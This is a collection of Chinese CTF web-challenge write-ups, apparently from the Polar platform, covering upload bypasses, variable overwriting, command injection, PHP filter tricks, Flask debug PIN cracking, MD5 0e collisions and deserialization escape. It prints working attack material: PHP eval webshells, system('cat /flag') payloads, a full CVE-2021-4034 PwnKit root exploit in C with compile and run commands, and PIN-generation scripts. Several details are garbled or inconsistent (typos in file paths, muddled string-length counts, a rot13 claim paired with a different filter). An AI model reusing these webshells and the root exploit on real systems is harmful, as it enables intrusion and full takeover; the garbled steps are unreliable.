上传

打开果然是个文件上传

不让上传php

上传png图片在bp里改

尝试.htaccess绕过

上传

想是不是对内容有waf

果然,应该过滤php

<script language="php">@eval($_REQUEST['pass']);</script>

但是蚂蚁剑连不上

应该是.htaccess没生效

想到还有一种.user.ini 绕过

.user.ini 是 PHP 的目录级配置文件(类似 .htaccess 对 Apache 的作用)。
服务器环境为 Nginx + PHP-FPM 或 Apache + PHP-FPM 时,.htaccess 可能失效,但 .user.ini 可以生效。

准备.user.ini

内容:

auto_prepend_file =木马文件名

做到这感觉哪哪都不对劲,扫个目录看看

访问/up;oad

里面存放我们上传的东西因为上一个环境被我玩坏了,重新上传一下

改一下.htaccess

SetHandler application/x-httpd-php
php_value auto_prepend_fi\
le "php://filter/convert.base64-decode/resource=shell.pnp"

上传shell.png

PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pOz8+

访问一下执行rec

pass=system('ls /');

pyload:

pass=system('cat /flag');

PHP是世界上最好的语言

打开给到源码

代码审计一下

包含了一个flag文件,用户可以控制变量sys进行post传参

检测get传递是否有flag1,flag2或post传递是否有flag1.flag2,如果有就nonono所以第一个绕过的点就是

如何检测不到get传递有flag1传参,那就把get传参变成post传值?flag1=xxx改成?POST[flag1]=xxx

继续看@parse_str($_SERVER['QUERY_STRING']);

  1. $_SERVER['QUERY_STRING'] 获取 URL 中?后面全部查询字符串。

例:test.php?a=1&b=2 → 返回字符串 "a=1&b=2"

  1. parse_str(string) 把 url 查询字符串解析,直接生成变量到当前作用域

parse_str("a=1&b=2");
// 等价于 $a=1; $b=2;
  1. @ 错误抑制符 屏蔽函数执行产生的警告、错误信息,页面不报错。

简单来说就是实例化你的get传参

extract($_POST);也就是把 POST 提交过来的键值对,直接生成 PHP 变量。

接下来就是绕过if(isset($_POST['504_SYS.COM'])),这里要注意的是PHP里的非法传参。

因此我们可以POST传入504[SYS.COM=1

再下就是限制一些字符,最后POST

pyload:

get:?_POST[flag1]=8gen1&_POST[flag2]=8gen1

post:504[SYS.COM=1&sys=echo $flag;

非常好绕的命令执行

打开给到源码

没有啥东西就这个:

if (!preg_match($blacklist,$evil) and !ctype_space($evil) and ctype_graph($evil))

这一行是一个条件判断语句,检查拼接的恶意代码是否通过了黑名单检查,且不是纯空格字符,且是可打印的字符。 

将冗余的括号注释掉,用#即%23来注释(浏览器里不能直接传#,否则其会被当作锚点)

发现第一个参数是没有多余的

感觉后面两个纯多余

pyload:

?args1=echo`ls`;&args2=1&args3=2

所以

payload

?args1=echo`cat<flagggg`;&args2=1&args3=2

这又是一个上传

打开果然如描述的一样

前端也写了

只能上传.jpg\.png\.gif

上传shell.png

改一下后缀看看是不是前端验证

果然如此试试能不能连上

就知道没有这么简单,里面是空的报错,搜索了一下是权限不足,要提权了

测试一下polkit 0.105 是有漏洞的版本,直接打就行。

ls -l /opt/polkit-0.105/src/programs/pkexec
# 看到 -rwsr-xr-x root root 就开打(带 s = SUID)

显然没有触发知识盲区了看了大佬:Polar 这又是一个上传_这又是一个上传 polar-CSDN博客

我们切换哥斯拉

因为我们的权限不足,第一个想到的就是suid -i来提权

显然不行

查找具有suid权限的命令

木马参数=system('find / -user root -perm -4000 -print 2>/dev/null');

发现有pkexec。polkit是一个授权管理器,其系统架构由授权和身份验证代理组成,pkexec是其中polkit的其中一个工具,他的作用有点类似于sudo,允许用户以另一个用户身份执行命令

一般不确定是否有提权的时候,我都会上https://gtfobins.github.io/看一下。

dpkg -l | grep -i polkit

存在CVE-2021-4034 pkexec 本地提权漏洞,可以将用户身份直接变为root

又发现/tmp目录可以增删改文件

准备脚本上传

#define _XOPEN_SOURCE 700
#define _GNU_SOURCE
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <ftw.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/signal.h>

#ifdef __amd64__
const char service_interp[] __attribute__((section(".interp"))) = "/lib64/ld-linux-x86-64.so.2";
#endif
#ifdef __i386__
const char service_interp[] __attribute__((section(".interp"))) = "/lib/ld-linux.so.2";
#endif

int unlink_cb(const char *fpath, const struct stat *sb, int typeflag, struct FTW *ftwbuf)
{
    int rv = remove(fpath);
    if (rv)
        perror(fpath);
    return rv;
}

int rmrf(char *path)
{
    return nftw(path, unlink_cb, 64, FTW_DEPTH | FTW_PHYS);
}

void entry()
{
    int res;
    FILE *fp;
    char buf[PATH_MAX];
    int pipefd[2];
    char *cmd;
    int argc;
    char **argv;
    register unsigned long *rbp asm ("rbp");

    argc = *(int *)(rbp + 1);
    argv = (char **)rbp + 2;

    res = mkdir("GCONV_PATH=.", 0777);
    if (res == -1 && errno != EEXIST) {
        perror("Failed to create directory");
        _exit(1);
    }

    res = creat("GCONV_PATH=./.pkexec", 0777);
    res = mkdir(".pkexec", 0777);

    fp = fopen(".pkexec/gconv-modules", "w+");
    if (fp == NULL) {
        perror("Failed to open output file");
        _exit(1);
    }
    if (fputs("module UTF-8// PKEXEC// pkexec 2", fp) < 0) {
        perror("Failed to write config");
        _exit(1);
    }
    fclose(fp);

    buf[readlink("/proc/self/exe", buf, sizeof(buf))] = 0;
    res = symlink(buf, ".pkexec/pkexec.so");
    if (res == -1) {
        perror("Failed to copy file");
        _exit(1);
    }

    pipe(pipefd);
    if (fork() == 0) {
        close(pipefd[1]);
        buf[read(pipefd[0], buf, sizeof(buf) - 1)] = 0;
        if (strstr(buf, "pkexec --version") == buf) {
            puts("Exploit failed. Target is most likely patched.");
            rmrf("GCONV_PATH=.");
            rmrf(".pkexec");
        }
        _exit(0);
    }

    close(pipefd[0]);
    dup2(pipefd[1], 2);
    close(pipefd[1]);

    cmd = NULL;
    if (argc > 1) {
        cmd = memcpy(argv[1] - 4, "CMD=", 4);
    }
    char *args[] = {NULL};
    char *env[] = {".pkexec", "PATH=GCONV_PATH=.", "CHARSET=pkexec", "SHELL=pkexec", cmd, NULL};

    /* 关键改动:指向 .libs 下带 SUID 的真正 pkexec 二进制 */
    execve("/opt/polkit-0.105/src/programs/.libs/pkexec", args, env);

    /* 兜底:如果上面的路径不对,用 PATH 找 */
    execvpe("pkexec", args, env);

    _exit(0);
}

void gconv() {}

void gconv_init()
{
    close(2);
    dup2(1, 2);

    char *cmd = getenv("CMD");

    setresuid(0, 0, 0);
    setresgid(0, 0, 0);
    rmrf("GCONV_PATH=.");
    rmrf(".pkexec");

    if (cmd) {
        execve("/bin/sh", (char *[]){"/bin/sh", "-c", cmd, NULL}, NULL);
    } else {
        execve("/bin/sh", (char *[]){"/bin/sh", NULL}, NULL);
    }
    _exit(0);
}

新建文件

上传成功

gcc -shared pwnkit_ly4k.c -o pwnkit -Wl,-e,entry -fPIC   # 编译
./pwnkit 'cat /flag'                                      # 直接执行命令

得到

网站被黑

进行一些信息收集

像是bese64加密,但是不是的又试了base32解出来

/n0_0ne_f1nd_m3/

目录也没有收获,有个flag还是空目录

访问/n0_0ne_f1nd_m3/

得到源代码

第一关:file_get_contents($text) === "welcome to the 504sys"

$text 要能让 file_get_contents 原样返回那串字符,用 data 伪协议直接:

plaintext

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgNTA0c3lz

第二关:include($file) 绕过关键词黑名单

过滤是 preg_match("/flag|data|base|write|input/i", $file)——注意 flagbase 都被禁了,所以最常规的 php://filter/read=convert.base64-encode/resource=flag.php 走不通。

但注释 //imposible.php 已经出卖了一切:flag 在 imposible.php 里,而且这个文件名本身不含任何黑名单词。换个不含敏感词的过滤器就行——string.rot13

plaintext

file=php://filter/read=convert.quoted-printable-encode/resource=imposible.php

检查一下:php://filter/read=string.rot13/resource=imposible.php —— 没有 flag/data/base/write/input,绕过 成功

最终pyload:

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgNTA0c3lz&file=php://filter/read=convert.quoted-printable-encode/resource=imposible.php

veryphp

一眼变量覆盖,还有个很恶意的waf 

 hackbar发包不行,得用bp发包,可能是因为有啥特殊符号吧

_用[来绕过

shaw[root=-a9<b>22222222>>>>pabcphp@Rs1

得到md5("shaw".(SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen(SecretNumber)===5

爆破 SecretNumber

<?php
 
$targetHash = '166b47a5cb1ca2431a0edfcef200684f';
$prefix = 'shaw';
 
for ($i = 0; $i < 100000; $i++) { // 尝试所有可能的数字,假设范围在 0 到 99999 之间
    $SecretNumber = str_pad($i, 5, '0', STR_PAD_LEFT); // 格式化为5位数,不足的用0填充
 
    $hash = md5($prefix . $SecretNumber . 'root'); // 生成哈希
 
    if ($hash === $targetHash) { // 检查哈希是否匹配目标哈希
        echo "找到匹配的 SecretNumber: $SecretNumber\n";
        break;
    }
}

hint:md5("shaw".$SecretNumber."root")==166b47a5cb1ca2431a0edfcef200684f 且长度=5。

MD5 爆破得 $SecretNumber = "21475"

爆出来是21475 

最后注意过滤了e,所以call_user_func不能直接利用system

考虑利用qwq 这个文件读取类的静态方法

最终的pyload

  shaw root=-a9<b>22222222>>>>abcp@Rsz&ans=21475&my ans=qwq::oao

flask_pin

打开

发现一个路由

访问/file

用参数访问filename=/etc/password

能够读取,这是题目泄露的任意文件读取的漏洞,但没办法获取flag

回到题目信息什么是flag pin

Flask PIN是Flask调试控制台的访问密码。

仅在debug=True下调式模式才能生效。

当程序报错时,错误页面会出现交互式 Python shell 入口,必须输入 PIN 才能解锁。

PIN码是9位数字,用-分割,例如 123-456-789

PIN需要6个环境特征值拼接加盐MD5计算,6个环境特征值如下

公开参数(报错页面可泄露)
1、username:运行 Flask 进程的系统用户名(root/ubuntu/Administrator)
2、modname:固定为 flask.app
3、app类名:固定为 Flask
4、flask/app.py 绝对路径:报错堆栈会完整打印
 
私有参数(需读取服务器文件获取)
 
1、MAC地址十进制:uuid.getnode(),读取网卡地址转数字
2、machine-id:服务器唯一硬件标识,Linux 存于 /etc/machine-id
(需要注意的是Flask下的werzeug版本在在2020年1月5号就发生了更新,代码发生了变化,因此要再读取到machine_id()的值的话需要先读取/etc/machine-id,再读取/proc/self/cgroup,并将第一个获取到的值与第二个获取到的id值进行拼接)

不同版本的pin码生成代码

下面分别是不同版本的pin码生成代码

# python3.5
 
import hashlib
from itertools import chain
probably_public_bits = [
    'root',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.5/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
 
private_bits = [
    '2485377892354',# str(uuid.getnode()),  /sys/class/net/ens33/address
    '32e48d371198e8420c53b0a1fa37e94d'# get_machine_id(), /etc/machine-id+/proc/self/cgroup
]
 
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
 
cookie_name = '__wzd' + h.hexdigest()[:20]
 
num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]
 
rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num
 
print(rv)
# python3.6
 
#MD5
import hashlib
from itertools import chain
probably_public_bits = [
     'flaskweb'# username
     'flask.app',# modname
     'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
     '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
 
private_bits = [
     '25214234362297',# str(uuid.getnode()),  /sys/class/net/ens33/address
     '0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'# get_machine_id(), /etc/machine-id
]
 
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
 
cookie_name = '__wzd' + h.hexdigest()[:20]
 
num = None
if num is None:
   h.update(b'pinsalt')
   num = ('%09d' % int(h.hexdigest(), 16))[:9]
 
rv =None
if rv is None:
   for group_size in 5, 4, 3:
       if len(num) % group_size == 0:
          rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                      for x in range(0, len(num), group_size))
          break
       else:
          rv = num
 
print(rv)
# python3.8
 
#sha1
import hashlib
from itertools import chain
probably_public_bits = [
    'root'# /etc/passwd
    'flask.app',# 默认值
    'Flask',# 默认值
    '/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]
 
private_bits = [
    '2485377581187',#  /sys/class/net/eth0/address 16进制转10进制
    #machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
    '653dc458-4634-42b1-9a7a-b22a082e1fce55d22089f5fa429839d25dcea4675fb930c111da3bb774a6ab7349428589aefd'#  /proc/self/cgroup
]
 
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
 
cookie_name = '__wzd' + h.hexdigest()[:20]
 
num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]
 
rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num
 
print(rv)

解密pin码

首先可以看到是python3.5的版本,那么我们生成pin码需要python3.5

直接读取/etc/passwd获取用户名,一般都是root

然后在报错页面获取app.py的绝对路径

然后访问获取网卡地址

?filename=/sys/class/net/eth0/address

将其转为十进制

16:02:42:ac:02:78:30

10:2252356986940653642

然后获取机器id

?filename=/etc/machine-id

c31eea55a29431535ff01de94bdcf5cf

还要再获取容器id

/file?filename=/proc/self/cgroup

5220fdf2d11d0e974f8d4180f72937c76c12303db60ded551304cdad8d3cc5d4

然后将两者的值拼接在一起,组合成完整的machine_id

c31eea55a29431535ff01de94bdcf5cf5220fdf2d11d0e974f8d4180f72937c76c12303db60ded551304cdad8d3cc5d4

总结一下信息

username:root
modname:flask.app
appname:Flask
moddir:/usr/local/lib/python3.5/site-packages/flask/app.py(flask库下app.py的绝对路径)
uuidnode:2252356986940653642
machine_id:c31eea55a29431535ff01de94bdcf5cf5220fdf2d11d0e974f8d4180f72937c76c12303db60ded551304cdad8d3cc5d4

算PIN

import hashlib
from itertools import chain

probably_public_bits = [
    'root',
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.5/site-packages/flask/app.py',
]
private_bits = [
    str(int('0242ac027830', 16)),   # uuid.getnode()
    'c31eea55a29431535ff01de94bdcf5cf' +                      # /etc/machine-id
    '5220fdf2d11d0e974f8d4180f72937c76c12303db60ded551304cdad8d3cc5d4',  # /proc/self/cgroup
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    h.update(bit.encode('utf-8'))
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]

h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
pin = '-'.join(num[i:i+3] for i in range(0, 9, 3))
print(pin)

输出

pin:174-445-311

弹窗出提交pin码

将刚才算出的提交

进入调试模式,读取flag

要用python命令跑rec读取文件

就要用到python的一个os模块了

import os
os.popen('ls /').read()

看到flag文件了

pyload:

os.popen('cat /flaggggg').read()

毒鸡汤

打开环境

扫一下目录看看

访问robots.txt

给了hint.txt访问

提示flag在根目录里

访问/www.zip

下载得到全部源码

优先看index.php

index.php?readfile=/flag

upload tutu

打开是一个文件上传的框

查看源码没有东西

上传shell.png无法获得

但是这是我上传一个两给都上传

说文件没有不同,再试试其他的

试了一下png和jpg的返回第一个状态

但修改了一下包的内容发现

说哈希值不匹配

我才后端应该写了多层比较,比如刚刚我们的三种比较,比较文件类型,文件大小等,现在困境就是哈希值不等,想到了php的若比较中的

0e碰撞

参考:常见的MD5碰撞:md5值为0e开头_md5 0e开头-CSDN博客

原理:某些 MD5 值恰好是 0e 开头纯数字的字符串,被 PHP 当成科学计数法 0×10^n = 0,于是两个不同的明文“相等”了。

所以我们把内容改成

s878926199a和s155964671a

成功绕过得到源码

Unserialize_Escape

打开环境就给到源代码

代码审计一下,经典的反序列化字符逃逸

程序把你 POST 上来的 username 和写死的 password="aaaaa" 组成数组,先序列化成字符串,再经过一个过滤器(把 x 替换成 yy),然后反序列化回去。如果反序列化出来的第 2 个元素(下标 [1])等于 "123456",就输出 flag。

构建一下

username=xxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}               
序列化(过滤前):
a:2:{i:0;s:46:"xxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}";i:1;s:5:"aaaaa";}

filter 替换后(x→yy,实际内容 60 字符,但长度标记还是 s:46... 等等,标记是 s:40):
a:2:{i:0;s:40:"yyyyyyyyyyyyyyyyyyyy";i:1;s:6:"123456";}";i:1;s:5:"aaaaa";}

unserialize 按 s:40 只读 40 个字符:
"yyyyyyyyyyyyyyyyyyyy" + ";i:1;s:6:"123456";}"  ← 40 个字符,正好闭合
剩下的 ";i:1;s:5:"aaaaa";} 被当垃圾忽略
结果数组:[0]="yyyy...", [1]="123456"  →  [1]=="123456" 得到 flag